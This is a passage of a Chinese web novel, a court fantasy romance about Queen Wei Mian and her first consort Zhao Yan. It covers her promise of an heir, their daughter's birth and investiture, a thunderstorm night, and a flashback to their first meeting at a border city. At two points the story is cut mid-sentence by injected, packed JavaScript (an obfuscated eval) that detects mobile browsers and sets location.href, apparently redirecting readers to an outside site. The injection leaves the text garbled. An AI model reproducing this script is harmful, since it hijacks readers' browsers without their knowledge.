“这是我的誓言,”她举起两人交握的手,目光坚定如铁,“以我魏勉的灵力与王座为证!” 昭彦的呼吸猛地一滞,瞳孔放大,震惊地看着魏勉,眼中迅速涌起狂喜、动容以及难以置信的复杂情绪。他声音颤抖,带着劫后余生般的虚弱:“王上......您......您此言当真?”希望来得太过突然,他几乎不敢相信自己的耳朵。 “当真。”魏勉用力点头,眼中也泛起了泪光,“昭彦,我知道你为我,为这个国家付出了多少,牺牲了多少。我不会让你白白承受委屈,不会让我们的感情在权力的洪流中被冲散。” 昭彦再也控制不住,猛地将魏勉紧紧拥入怀中,滚烫的泪水浸湿了她的肩头。他想说什么,却因为极致的激动和幸福,而泣不成声,只能发出一声声压抑的、如同幼兽般的呜咽。 承诺......她给了他最郑重的承诺!一个流淌着他们共同血脉的女儿,宵朝的太子! 这不仅是对他地位的无上保障,更是对他这份爱情的最高回应。 魏勉任由他抱着,感受着他那份失而复得般的狂喜与依赖,眼中闪过一丝极其复杂的情绪——有如释重负的轻松,有得偿所愿的欣慰,有对他的心疼,也有一丝连她自己都未曾察觉的、属于帝王的、一切尽在掌握的平静。 不知过了多久,当窗外那呜咽的风声与敲打檐角的雨声,再次清晰地传入耳中时,昭彦那一直紧绷的、如同拉满的弓弦般的身体,才终于彻底地、完全地松弛了下来。 他甚至没有力气再说一句话,就在她熟悉的气息包裹中,沉沉地、安稳地,睡了过去。 黑暗中,魏勉睁着眼睛,注视着昭彦那张此刻无比安静的脸,陷入了沉思。 宠幸那些新晋的侍君,魏勉并非不想。 只是,此刻在魏勉眼中,他们更像是一枚枚需要仔细观察、评估其价值与忠诚度的棋子。在彻底看清他们背后的家族、摸清他们各自的底细和可用之处前,她又怎会轻易交付真正的恩宠? 今日这番“表白”,不过是安抚昭彦这颗因误解而几近破碎的心的权宜之计罢了。 不过,说为了保护昭彦,倒也不全是假话。昭彦性子刚直,又无显赫母族庇佑,若一开始就对他表现出超乎寻常的专宠,只会让他成为众矢之的,招来无尽的麻烦。 至于这个“太子”的承诺...... ......既能彻底安抚住昭彦,让他安心做自己的贤内助,稳固他首夫与未来国父的地位,断了他那些胡思乱想,也能让后宫那些蠢蠢欲动的心,暂时安分下来。 让他们看到,太子之位已定,但皇子之位尚多。如此,他们及其背后的家族,才会为了那虚无缥缈的未来和恩宠,更加卖力地表现,更加积极地互相竞争。 如此,魏勉便能更好地坐山观虎斗,隔岸看花开,慢慢挑选出那些真正对宵朝有用、也真正对孤忠心不二的可用之人。一举数得,何乐而不为? 只是...... 她看着窗外那轮被乌云遮蔽、只透出些许微光的残月,心中那丝掌控感,却又被一种更深沉的、难以名状的情绪所取代。 一丝极淡的、连她自己都快要忘记的疲惫与对过往纯粹时光的怀念,在她眼底一闪而逝。 但随即,就被属于帝王那深沉如海的冷静所覆盖了。 承诺在日复一日的坚守中,迎来了开花结果的时刻。 初夏,王宫深处的长宁殿外,日光灿烂,蝉鸣阵阵。殿内,却气氛紧张。昭彦一身深色常服,负手在抄手游廊下焦急地来回踱步。产房内偶尔传出魏勉压抑的低吟,每一次都像鞭子一样抽打在他的心上。 他一遍遍地低声祈祷,从未觉得时间如此漫长难熬。 “哇——!” 一声清亮而充满生命力的啼哭,如同天籁,骤然划破了殿内的寂静。 产房的门被迅速推开,经验 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“孩子......”她声音略微虚弱,却带着急切,“是女孩,对吗?” 昭彦立刻抱着孩子快步走进,单膝跪在她床前,将襁褓轻轻递到她面前,声音哽咽难言:“王上!是个女孩!我们的女儿!稳婆说,她的灵力天赋......前所未有!”他的目光落在魏勉脸上,充满了无尽的爱意与自豪。 魏勉的目光瞬间胶着在襁褓中的小脸上,眼中涌出喜悦的泪水。她伸出微微颤抖的手,极其轻柔地抚摸着女儿娇嫩的脸颊,生怕惊扰了这个小小的奇迹。她的声音轻柔得如同梦呓:“我的......女儿......我们的......女儿......” 她笑了,那笑容纯粹、灿烂,褪去了所有君主的威严与算计,只剩下为人母的、最本真的狂喜。她小心翼翼地将孩子抱入怀中,紧紧贴在胸前,仿佛要将她揉进自己的骨血里。她低头,深深嗅着女儿身上那独特的、带着奶香的清新气息,喃喃道:“长得像你,昭彦......这眉眼,这股英气......” 她抬头看向昭彦,眼中闪动着真挚无比的光芒:“你做到了,昭彦。你给了我一个如此完美的女儿。”她的语气充满了感激与爱意,仿佛之前所有的等待、忍耐、朝堂的纷争、后宫的烦扰,在这一刻都化为了值得。 魏勉抱着孩子,目光再次回到那张粉嫩的小脸上,沉吟了片刻,眼中流露出深思与温柔。她轻轻点了点孩子小巧的鼻尖,声音虽轻,却带着一种郑重的决定: “就叫她‘恒’吧。魏恒。” 她抬眼看向昭彦,解释道:“恒,象征永恒、坚定。愿我宵朝国祚绵长,基业永固;也愿她能持之以恒,守住本心,成为一个坚韧不拔的君主。” 这名字,既寄托了她对王朝未来的期望,也蕴含着对女儿品性的塑造。 昭彦闻言,眼中闪过深深的认同与感动。他俯下身,凝视着女儿,又看向魏勉,低声重复,仿佛在品味这个名字的重量与深情:“魏恒......恒儿......好名字。” 他知道,这个名字承载了魏勉多少的期盼与决心。 魏勉欣慰地笑了笑,再次低头看向怀中的魏恒,眼中充满了母性的慈爱与君主的期许。她轻轻哼起一首不成调的、古老的摇篮曲,声音温柔得能滴出水来。她一遍遍地亲吻着女儿光洁的额头,低语:“恒儿,我的恒儿......你是宵朝的未来......” 忽然,她抬起头,眼中闪耀着决断的光芒,看向昭彦,也像是对着整个宵朝宣告,语气无比郑重:“昭彦,传旨——即日起,立魏恒为我宵朝太子!告祭天地,昭示四海!” 她紧紧握住昭彦的手,眼中泪光闪烁,声音却无比坚定:“我兑现了我的承诺,昭彦。恒儿是我们的骄傲,也将是宵朝的骄傲!” 昭彦站在床边,看着相拥的母女,看着魏勉眼中那熟悉的光芒——那是属于王上的决断,也是属于母亲的慈爱。巨大的幸福感如同暖流般包裹着他,女儿的诞生,太子的册立,承诺的兑现......这一切都让他感到前所未有的满足与自豪。 他深深地看着魏勉,看着她此刻眼中只有他和女儿的纯粹爱意,心中激荡不已。他低声回应:“王上......恒儿有您这样的母亲,是她的福气。臣......会用生命守护你们母女,会让太子殿下成为您的骄傲。” 喜悦的顶峰,一丝难以忽视的酸楚与失落却如同寒流般悄然袭来。他知道,从今夜起,或许一切都将不同。她的夜晚,将不再只属于他。他与恒儿,在她心中固然重要,但她广阔的世界里,终究要容纳更多的人和事。 他压下心头复杂的情绪,脸上露出最温柔的笑容,俯身,轻轻吻了吻魏勉的额头,又珍而重之地吻了吻女儿的小脸。 初夏的阳光透过窗,将一家三口的身影笼罩其中,温馨而美好。 4. 暴雷惊魂,旧爱枕畔忆往昔 魏恒的降生与太子册立,带来的喜悦与安宁,如同夏日阳光下的短暂彩虹,绚烂,却也易逝。 仅仅五日之后。 夏末的夜,带着白日未散尽的余热。王宫各处灯火通明,映照着巡逻卫兵的身影,一切井然有序。然而,属于首夫昭彦的寝殿内,空气中似乎还残留着新生儿的奶香和药草味,那是属于他和魏勉、恒儿的温馨气息,此刻却像是在无声地嘲讽着他。 脚步声极轻地靠近,一名心腹侍卫低着头,声音压得极低,带着显而易见的谨慎:“首夫大人......宫里刚传来的消息......王上,王上今夜......去了西侧殿,段......段公子的寝殿。” “啪嗒。” 昭彦手中一直无意识捻着的书卷骤然滑落,砸在紫檀木的案几上,发出一声沉闷的、突兀的声响。 他的身体猛地一僵,仿佛被看不见的冰锥刺穿。血液似乎在瞬间凝固,又在下一秒疯狂倒流,冲得他耳中嗡嗡作响。他缓缓转过头,脸色在昏暗的烛光下失却了所有血色,只剩下一片骇人的苍白。他的嘴唇动了动,声音干涩得如同砂纸摩擦: “段宴清?她......当真去了?” 每一个字都像是从牙缝里挤出来的,带着他自己都不敢相信的、濒临破碎的绝望。 侍卫的头垂得更低,几乎要埋进胸口,声音艰涩:“是......是。西侧殿伺候的宫人亲眼所见......王上入殿后不久,便......便命人熄了外殿所有的灯火......” ——熄了外殿的灯火。 这句话精准而残忍地捅进了昭彦的心窝,将他方才还沉浸其中的、为人父的喜悦与虚幻的安稳感彻底搅碎。 他挥了挥手,示意侍卫退下。 殿门被无声地合上,隔绝了外界的一切。偌大的寝殿内,只剩下他一个人,和那盏在他眼中摇曳不定、如同鬼火般的烛光。 胸膛剧烈地起伏,他像是被投入了深海,巨大的水压从四面八方涌来,挤压着他的肺腑,让他几乎无法呼吸。 五天......仅仅五天! 勉儿......你就这么......迫不及待吗? 那个郑重的承诺,“生下女儿之前绝不碰他人”,言犹在耳。 恒儿的啼哭声,她被立为太子时群臣的叩拜声,魏勉抱着女儿时那温柔满足的笑容......这一切都还鲜活地印刻在他的脑海里。 可现实却如此残酷。承诺一旦完成,她便自由了。 就像是完成了一项不得不应付的任务,然后,便可以心安理得地去享受这“职责”之外的新鲜与乐趣? 无法抑制的,黑暗而痛苦的想象如同疯长的藤蔓,瞬间攫住了他的心智。 他猛地从座位上站起,像一头被困在笼中的野兽,焦躁地在殿内踱步。那些想象中的画面、声音、触感......如同烧红的烙铁,反复炙烤着他的神经。 理智在声嘶力竭地呐喊,试图将他从痛苦的深渊中拉回。他告诉自己,要理解,要接受,要扮演好那个贤良的首夫。 但心,如同被万千钢针穿刺,痛得无以复加。 他终于无法抑制,猛地起身,冲到窗边,一把推开窗户! “轰隆!” 恰在此时,窗外一道惨白的闪电撕裂夜幕,紧接着是震耳欲聋的雷鸣!狂风裹挟着冰冷的雨点,瞬间灌入殿内,吹得烛火疯狂摇曳,几乎熄灭。 冰冷的雨水打在他的脸上,带来一阵刺骨的寒意,却奇异地让他混乱的头脑有了一丝清明。 西侧殿,段宴清的寝殿内,气氛旖旎而慵懒。 方才一场灵力与体力的激烈较量让魏勉略感疲惫,却也带来一种掌控后的满足。 然而—— “轰隆——!” 窗外,一道惨白刺目的闪电骤然撕裂夜幕,紧随其后的雷鸣如同战鼓在天际炸响,震得窗棂嗡嗡作响! 几乎在闪电亮起的同时,魏勉的身体猛地一弹,像是被无形的电流击中!她脸上瞬间血色褪尽,变得煞白,瞳孔也因剧痛而收缩。她双手猛地抱住头,喉咙里发出一声压抑不住的、痛苦的低吟,额角青筋暴起。 这是她的老毛病,是她过于强大的灵力与天地间至阳至烈的雷电之力天生相斥的证明。每逢雷暴,那狂暴的能量波动都会引动她体内过于充沛的灵力,如同万千根钢针在脑海深处搅动、撕扯,带来常人无法想象的剧痛。 “王上!您怎么了?!”段宴清被她突如其来的反应吓了一跳,慌忙伸手想去扶她,语气充满关切。 “别碰我!”魏勉的声音嘶哑而尖锐,带着剧痛下的暴躁。她猛地挥手打开段宴清的手,像是受惊的猛兽。剧烈的头痛让她感官混乱,此刻任何不熟悉的触碰都只会加剧她的痛苦和灵力的紊乱。 她不顾一切地从柔软的床榻上翻身跳下,赤足踩在冰凉光滑的地板上,只着一身单薄凌乱的寝衣。窗外的闪电再次亮起,映照着她苍白痛苦的脸庞和散乱的长发。 “王上!您要去哪儿?外面风大!”段宴清急忙跟着下床,试图阻止她。 但魏勉充耳不闻。剧痛让她暂时抛却了所有的理智、威严与体面。此刻,只有一个念头在她脑中疯狂叫嚣——找到他!找到昭彦! 只有他......只有他的气息,他的拥抱,能稍微平息她体内狂躁的灵力,能让她从这撕裂般的痛苦中获得片刻安宁! 她踉跄着,几乎是跌跌撞撞地冲出了内殿,推开殿门,迎面撞入冰冷的夜风和开始滴落的雨点之中。 “王上!”段宴清追到门口,却不敢再跟出去,只能眼睁睁看着那个单薄的身影消失在夜色里,脸上满是震惊、不解,或许还有一丝被推开的难堪。 宫道上,值夜的侍卫和宫人被这突如其来的景象惊得魂飞魄散。只见王上衣衫不整,赤足狂奔,在闪电的光芒中,脸色惨白如纸,神情痛苦而执着。 无人敢上前阻拦,甚至无人敢抬头直视,纷纷跪伏于地,任由那急促的喘息与跌撞的脚步声在寂静的宫道上渐行渐远。 风雨欲来,天地间一片肃杀。 昭彦的寝殿内,烛火昏暗。他脑海中,不受控制地反复闪现着各种画面——是魏勉在朝堂上日渐沉稳的威仪,是她与新宠们相处时可能出现的笑靥,更是......方才侍卫禀报后,他想象中那西侧殿内熄灭灯火后的种种可能...... 每一次想象,都像是在他心上又添一道新伤。 就在他沉浸在自己的痛苦与屈辱中时—— “砰!” 殿门被一股巨大的力量从外面猛地撞开! 湿冷的夜风裹挟着雨丝瞬间灌入,吹得案上烛火疯狂摇曳,险些熄灭。 昭彦愕然抬头,只见一道熟悉而狼狈的身影跌跌撞撞地闯了进来。 是魏勉! 她浑身湿透,墨色的长发凌乱地贴在苍白的脸颊和颈项上,身上只着一件单薄的寝衣,被风吹得紧紧贴在身上,显得无比脆弱。她的身体不住地颤抖,那双总是锐利或温柔的眼眸,此刻盈满了无法掩饰的痛苦与近乎乞求的脆弱。 “昭彦......” 她的声音沙哑得厉害,带着浓重的鼻音和压抑的痛楚。她像是在茫茫大海中看到了唯一的浮木,踉跄着,几乎是扑向了他,冰冷的双手紧紧抓住他的衣襟,如同抓住救命稻草。 “我好痛......” 昭彦彻底愣住了,被她此刻罕见的脆弱模样狠狠击中。他能闻到她身上带着雨水的寒气,感受到她抓住他衣襟时那冰冷而颤抖的指尖。 一丝屈辱和苦涩刚从心底冒出,但在看到她痛苦到扭曲的脸庞和眼中那全然的依赖时,所有的怨气、嫉妒、不甘......瞬间被一种更强大的、名为“心疼”的情绪所淹没。 他几乎是本能地迅速起身,一把将她紧紧搂入怀中,用自己温暖的胸膛包裹住她冰冷颤抖的身体。他感受到她身体的僵硬和细微的颤抖,立刻明白了过来。 “勉儿,”他低头,声音不自觉地放柔,带着连他自己都未察觉的担忧,“怎么了?是不是......又是因为雷暴?” 魏勉在他温暖而熟悉的怀抱中,紧绷的身体似乎终于找到了一丝倚靠。她把脸深深埋入他坚实的胸膛,双手死死抓住他的袍子,像个迷路后终于找到归宿的孩子,带着哭腔,声音断断续续:“闪电......头好痛......受不了......昭彦......帮帮我......” 她的灵力在她体内横冲直撞,与外界的雷电之力互相激荡,让她平日里掌控自如的力量此刻变成了折磨她的根源。那种深入骨髓的、仿佛要将灵魂都撕裂的痛苦,让她放下了所有的高傲与威严,只剩下最原始的求助本能。 昭彦的心,在这一刻软得一塌糊涂。什么侍君,什么背叛感,什么嫉妒......在她的痛苦面前,似乎都变得微不足道了。他打横将她抱起,几步走到床榻边,小心翼翼地将她放下,然后迅速扯过自己的锦被,将她连人带被紧紧裹住。 “没事了,没事了,有我在,”他坐在床沿,将她半抱在怀里,低声哄着,如同哄一个受惊的孩子,“勉儿,别怕,我在呢。”他的手一下又一下地轻抚着她的后背,试图用自己的体温和稳定的气息,去平复她体内躁动的灵力,缓解她的颤抖。 或许是他的拥抱起了作用,或许是他身上熟悉的气息让她安心,魏勉的呼吸渐渐平稳了些,尽管身体仍在微微颤抖。她缓缓抬起头,泪眼婆娑地看着近在咫尺的他,声音细弱得像羽毛:“昭彦......陪着我......” 她主动凑近,不带任何情欲,只有全然的依赖和乞求,像是在汲取他身上的温度和力量来对抗自身的痛苦。 昭彦的心跳骤然加速。他回应着她,动作却极其温柔而克制。他双手捧住她苍白的脸颊,深情而小心地描摹着她的唇形。 他的内心,百感交集。既为她的脆弱而心疼,为她在此刻选择依赖自己而动容,又忍不住泛起一丝苦涩——她是在最痛苦无助的时候,才想起他,需要他。 “勉儿,我在,”他低声呢喃,一遍又一遍,“我一直都在。” 不知过了多久,在昭彦持续的安抚下,魏勉的颤抖终于渐渐平息了。窗外的雷声似乎也小了下去。她疲惫地蜷缩在他温暖的怀抱里,头深深地靠在他的肩膀上,像一只终于找到了避风港的倦鸟。 她闭着眼睛,声音带着劫后余生的虚弱和罕见的柔顺,低声说:“昭彦......只有你......只有你在身边,我才不怕......” 这句话,轻轻地,却又重重地敲在了昭彦的心上。他抱紧了怀中的人,感受着她全然的依赖,心中涌起一种难以言喻的情绪——是满足?是欣慰?还是更深的悲哀? 他低头,在她发顶印下一个复杂的吻,声音低沉而坚定,一如既往: “王上,只要你需要我,我永远都在。” 只是,这“需要”,是否只在风雨飘摇之时?雨过天晴之后,她是否又会回到那个让他嫉妒、让他痛苦的轨道上去? 他不知道。 这一刻,他选择不去想。 他只知道,怀中的这个人,是他的王上,是他的妻主,是他穷尽一生也无法放开的牵挂。 这就够了。 至少,在下一个天亮之前,是够了。 “昭彦,讲讲以前的事好不好,哄我入睡......” 当然好,从哪里开始讲起呢? 那时的边城,名为“望北”,常年经受着北戎袭扰的风霜。城外的校场之上,尘土被无数双军靴和疾风卷起,混合着兵戈的铁锈味与少年们的热汗气息。 五千名新募的力者士兵排列成整齐的方阵,刀枪如林,在老兵的喝令下操演着基础的阵型与格杀技巧,吼声震天,试图驱散面对北方强敌时潜藏在心底的恐惧。 校场高台之上,一道银色的身影格外瞩目。 年仅十七岁的望北城领主——魏勉,身着一套量身打造的、线条流畅优美的银色轻甲,勾勒出少年尚未完全长开却已显挺拔的身姿。墨色的长发并未像其他贵族那般绾成复杂的发髻,而是简单地用一支白玉簪高高束起,显得英姿飒爽,利落非凡。 她并未刻意释放灵力,但那双明亮如同星辰的眼眸扫视全场时,自有一股无形的威压笼罩下来,让整个嘈杂的校场都为之一静。那是属于上位者的气场,也是属于顶尖灵力天赋者的自信。 北戎蛮子以为望北城失了老领主,便可趁虚而入?魏勉嘴角勾起一抹冷峭的笑意,我偏要让他们知道,这望北城,如今由我魏勉镇守,只会比以往更固若金汤! 她心念微动,丝丝缕缕的风灵之力自她掌心逸散,化作一股清爽而充满力量的旋风,掠过整个校场,瞬间吹散了弥漫的尘土,也仿佛吹入了每个士兵的心田,让他们精神为之一振。空气中,甚至隐隐有雷云因她过于强大的灵力而被引动、汇聚的迹象。 “主上威武!望北必胜!” 不知是谁先带头高喊,瞬间引爆了全场士兵的狂热崇拜,山呼海啸般的呐喊直冲云霄。他们敬畏这位年轻的新主上,不仅因为她是老领主的女儿,更因为她那深不可测的灵力天赋和这短短数月间展现出的铁腕与远见。 在这片狂热的声浪中,高台下方,力者新兵方阵的前列,一个同样年轻的身影却显得有些格格不入。 他叫昭彦,也是十七岁。与其他新兵脸上或激动、或紧张的神情不同,他只是默默地挺直脊梁,手按在腰间的制式长剑上,眼神低垂,仿佛对周遭的一切都漠不关心。 他穿着与其他新兵别无二致的粗布军服和简陋皮甲,但这掩盖不住他挺拔的身材和俊朗如刀刻般的面容。剑眉星目,鼻梁高挺,紧抿的薄唇带着一丝倔强。昨日的新兵试炼中,他凭借一手自学的、狠辣精准的剑术,连败十名老兵,技惊四座,已在新兵营中闯出了不小的名声。 然而,此刻的他,心中却无半分骄傲,只有深深的自卑与疏离。主上是天上的云,是掌控风雷的星辰,而他......不过是地上的一粒尘土,一个侥幸有几分蛮力与剑术的寒门小子。即使昨日侥幸出彩,又怎能真正入了她的眼?他甚至不敢抬头去看高台上那个耀眼的身影,只能将目光落在自己磨出茧子的、握剑的手上,仿佛那里才有属于他的真实。 可目光,却总是不自觉地......偷偷向上飘去。 高台上的魏勉,正享受着士兵们的敬畏与狂热。她的灵力场如同最精密的网络,覆盖着整个校场,感知着每一个士兵的气息、情绪,甚至心跳。她满意地点头,目光随意地扫过下方一张张年轻而充满活力的脸庞。 忽然,她的目光顿住了。 在那片或激动或茫然的眼神中,有一双眼睛,格外不同。那双眼睛低垂着,似乎在刻意回避着什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15817779|175397||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么,但当它偶尔抬起,流露出的却是与年龄不符的沉稳、坚毅,以及一丝隐藏极深的、不易察觉的落寞与渴望。而拥有这双眼睛的士兵,身姿挺拔,面容......该死的英俊! 魏勉的心,像是被什么东西轻轻撞了一下,漏跳了一拍。这士兵......有点意思。她能清晰地感知到他体内涌动的、属于力者的强大气血,以及方才在她灵力拂过时,他身体那瞬间的紧绷和几乎未被察觉的战栗。 这般相貌,这般气血,这般......有趣的反应。 魏勉嘴角勾起一抹玩味的、带着点霸道的笑容。她心念一动,一缕极细微的风灵之力如同调皮的精灵,悄无声息地绕过人群,精准地吹拂到那士兵的额前,将他几缕不听话的黑发吹乱。 昭彦正努力控制着自己不去抬头,冷不防感到额前一凉,发丝被吹动。他心中一惊,这风来得蹊跷!几乎是本能地抬起头,正好对上高台上那双含笑的、亮得惊人的眼眸! 四目相对。 他看到她眼中毫不掩饰的兴味与打量。 昭彦的脸“腾”地一下就红了,从脸颊一直烧到耳根。他像是被烫到一般,猛地低下头,心脏在胸腔里疯狂地跳动着,几乎要撞出来。主上......她在看我?她......她为何要戏弄我?我......我这出身......怎敢......怎敢让她如此注视?! 他能感觉到,那道目光似乎还在自己身上流连,带着一种让他无所遁形的穿透力。他握着剑柄的手,不自觉地更紧了。 高台上的魏勉,看着那士兵瞬间羞窘得连耳根都红透、却又强作镇定的模样,嘴角的笑意更深了。呵,果然是个有趣的小子。有几分本事,却又这般......纯情? 她不再犹豫,身形一动,便如同轻盈的羽毛般,从数丈高的高台上翩然落下,稳稳地站在了方阵之前。银甲在阳光下熠熠生辉,更衬得她容光慑人。 她一步步走向新兵方阵,所过之处,士兵们纷纷屏息,自动分开一条道路。她的目光,始终锁定在那个低着头、身体紧绷的年轻士兵身上。 “新兵,抬起头来。”她的声音清越,带着不容置疑的威严,却又奇异地掺杂着一丝不易察觉的柔和。 昭彦身体一颤,知道无法回避。他深吸一口气,缓缓抬起头,迎向那双仿佛能洞察一切的眼眸,心脏狂跳,却努力让自己看起来镇定。 “你,叫什么名字?”魏勉站在他面前,近距离地打量着他。嗯,确实生得极好,比方才在高台上看得更清晰。剑眉朗目,鼻梁高挺,嘴唇紧抿时有种倔强的性感,脸颊上那点未褪的红晕,更是平添了几分青涩的诱惑。 昭彦只觉得一股淡淡的、如同兰草混合着某种凛冽气息的幽香,随着她的靠近而萦绕在鼻尖。他喉结滚动了一下,单膝跪地,右手抚胸,沉声道:“禀主上!新兵昭彦,愿为主上效死!” 他的声音努力保持着沉稳,但微微颤抖的指尖却暴露了他内心的紧张。在她面前,如此近的距离,他连呼吸都觉得困难。 “昭彦?”魏勉重复了一遍这个名字,眼中闪过一丝笑意,“我听说,你昨日试炼,连败十名老兵,剑术不凡。”她微微倾身,目光带着审视,也带着一丝挑衅,“正好,我今日手痒,想亲自试试你的剑。” 此言一出,周围的士兵们都发出了低低的惊呼。主上要亲自试新兵的剑?这可是天大的荣耀,也是天大的考验! 不等昭彦反应,魏勉手腕一翻,一杆银色的、造型古朴的长矛已然出现在手中。她指尖灵力流转,淡红色的火灵之力如同活物般迅速缠绕上矛身,矛尖处更是腾起一簇跳跃的烈焰!整个校场的温度似乎都升高了几分,空气中弥漫开灼热的气息。 “来吧,”魏勉将燃烧着烈焰的矛尖遥遥指向昭彦,语气轻松,眼中却闪烁着兴奋的光芒,那是属于强者的好胜心,也是属于少年的玩闹心,“让我看看,你的剑,配不配得上你的名字。”昭彦,昭示光明吗?那就让我看看,你的光芒,有几分炽热! 昭彦心头剧震!主上竟然要亲自与他动手?这是试探?还是...... 他不敢深想。但那燃烧的矛尖,那双充满战意的眼眸,瞬间点燃了他骨子里的好胜与血性! 主上要试我!我绝不能让她失望!更不能辱没了她的兴致! 他眼中瞬间燃起熊熊战意,所有的自卑和紧张,在这一刻仿佛都被抛到了九霄云外。 “噌——!”他长剑悍然出鞘,剑光如泓,发出一声清越的龙吟。他起身,摆出防御的架势,目光紧紧锁定魏勉,沉声道:“请主上......赐教!” 下一刻,两道身影动了! 勉长矛如龙,火灵随行,她的身法迅捷而飘逸,每一步都如同踏在风尖之上,矛影重重,带着灼热的气浪,向昭彦笼罩而去。但她的攻击看似凌厉,却始终留有三分余地,更像是在引导和试探,而非致命的搏杀。 好小子!基础扎实,反应也快!这步法......有点意思! 昭彦则全然不同。他的剑法没有丝毫花哨,沉稳、精准、狠辣!他脚步沉稳如山,身形腾挪闪避,总能在间不容发之际避开那看似无孔不入的火焰与矛尖。他的剑光如同毒蛇吐信,一次次刁钻地指向魏勉防御的空隙。他知道自己灵力远不及对方,唯有依靠极致的技巧和力量,才有一线机会。 校场之上,火光与剑影交织飞舞,引得周围士兵阵阵惊呼喝彩! 激战中,昭彦瞅准一个破绽,手腕疾抖,剑尖以一个不可思议的角度刺出,几乎就要触碰到魏勉腰间的银甲! 就在这千钧一发之际,他却猛地手腕一沉,剑尖擦着魏勉的衣角划过,随即手腕翻转,长剑归鞘,单膝跪地,朗声道:“主上灵力盖世,臣技不如人,甘拜下风!” 他的额角渗出细密的汗珠,胸膛因剧烈运动而起伏,眼神却清明,带着一丝比试后的畅快,也带着对那强大灵力差距的无奈,以及......方才近距离接触时,再次感受到的、令他心神不宁的异样悸动。 她的灵力......太强了。 而且,方才她眼中一闪而过的笑意......是赞赏吗? 我的心......跳得好快...... 魏勉收回长矛,矛尖的火焰瞬间熄灭,仿佛从未出现过。她看着单膝跪在自己面前,微微喘息,脸颊因激动而泛红的力者少年,眼中闪过毫不掩饰的欣赏与柔和的光芒。 “昭彦,”她开口,声音里带着一丝不易察觉的笑意,“你的剑,很好。反应、力量、技巧,都远超同龄力者。最难得的是,知进退,懂分寸。”她顿了顿,用一种不容置疑的语气说道,“从今日起,你入我亲卫营,任什长,近身侍奉。” 近身侍奉?! 昭彦猛地抬头,眼中充满了难以置信的狂喜,随即又被更深的自卑所淹没。 亲卫......近身侍奉......我、我何德何能?能......能日日见到她了吗?可......可以离她那么近吗?我...... 他的心乱成一团麻,巨大的惊喜让他手足无措,最终只能深深低下头,用尽全身力气控制住声音里的颤抖:“谢主上......浩荡......恩典!” 魏勉看着他那副既欢喜又惶恐的模样,心情越发愉悦。就是要这样,一点点靠近,一点点让你明白,你的目光,你的剑,你的心......我,魏勉,都要了! 5. 湖畔火光,少年心意相辉映 自那日校场比试,昭彦调入亲卫营,至今已过数日。 他尽忠职守,巡逻护卫,一丝不苟,只是总是有意无意地避开与魏勉直接接触的机会。他害怕离她太近,会控制不住自己的心意;更害怕离她太近,会被她看穿心底那份卑微的、不敢宣之于口的爱慕。 这夜,月华如水,静静地洒在望北城。领主府后院的湖畔,柳枝低垂,晚风轻拂,带来湖水的清凉气息。 魏勉褪去了白日的银甲与威严,换上了一身素雅的月白色长裙,长发如瀑般披散下来,只用一根简单的木簪松松挽住。她刻意收敛了周身强大的灵力场,月光映照下,她仿佛不再是那个杀伐决断的领主,而是一个带着些许清冷孤寂的、灵动脱俗的少年。 她独自一人,沿着湖畔的小径缓缓踱步。 昭彦啊昭彦,你这块木头,还要躲我到几时?以为入了亲卫营,就能远远看着我了吗?你的剑、你的眼神,夜夜扰我清梦。今日,我便以这寻常之姿来会你,看你还敢不敢只当我是你的“主上”! 她指尖微动,一缕极淡的风灵之力,如同情人间的低语,悄然无声地向着正在当值巡夜的昭彦的方向飘去,带着一丝若有若无的、独属于她的气息。 正在巡逻路线上的昭彦,突然感到一阵熟悉的、极其细微的灵力波动,如同羽毛般轻轻拂过他的心弦。他脚步一顿,心中剧震! 这感觉......是主上的灵力!她就在附近?这么晚了...... 他犹豫了片刻,终究还是无法抗拒那股力量的牵引,循着那丝气息来到了湖畔。 远远地,他便看到了月光下那个孑然独立的身影。 那一刻,他的呼吸仿佛都停止了。 月下的她,褪去了所有的锋芒与威严,带着一种令人心疼的、淡淡的孤寂感。那画面,狠狠地撞击着他的心脏,让他瞬间忘记了身份,忘记了尊卑,只剩下一种想要靠近、想要将她拥入怀中、为她驱散那份孤寂的强烈冲动。 主上......您......您怎么会在这里?这般......这般模样......我......我怎敢...... 强烈的自惭形秽感瞬间将他淹没。他猛地低下头,几乎是落荒而逃般地想要转身离开。 “昭彦。” 一个清浅、带着笑意的声音自身后响起。 他脚步一僵,如同被施了定身咒,再也无法移动分毫。 魏勉缓缓转过身,月光照亮了她带着浅笑的脸庞,那笑容里没有了平日的威严,只有属于少年的狡黠与温柔。“这么巧,巡夜至此?正好无趣,陪我走走吧。”她的语气轻快得如同闲聊,眼中却闪烁着不容拒绝的光芒。 昭彦感觉自己的脸颊又开始发烫,他低着头,声音艰涩:“主上......深夜寒凉......您......臣、臣遵命。”他的步伐有些僵硬,甚至不敢与她并肩,只是落后半步,默默地跟随着她的脚步,心中却如同擂鼓。 两人沿着湖畔,一时无言。只有晚风拂过柳梢的沙沙声,和湖水轻拍岸边的微响。 魏勉似乎很享受这种静谧,她走到湖边,看着水中皎洁的月影,忽然开口,声音轻柔得像是怕惊扰了这片月色:“昭彦,我听说,你的剑术是自学的?能有今日这般成就,很是不易。”她侧过头,看向他,眼中带着真诚的赞赏,“我很欢喜你的勇武与坚韧。只是......” 她话锋一转,语气带上了几分揶揄:“像你这样优秀的少年郎,可有心上人了?” 昭彦的心猛地一跳,脸颊瞬间涨得通红,连脖子都红了。他几乎是脱口而出地否认:“主上!臣、臣一心只知练剑,保家卫国!尚、尚无心......无心儿女私情!” 他的声音因为紧张而有些结巴,眼神更是慌乱地看向别处,不敢与她对视。 魏勉看着他这副手足无措、欲盖弥彰的纯情模样,眼中的笑意更浓了。还说没有?这脸红得都要滴血了! 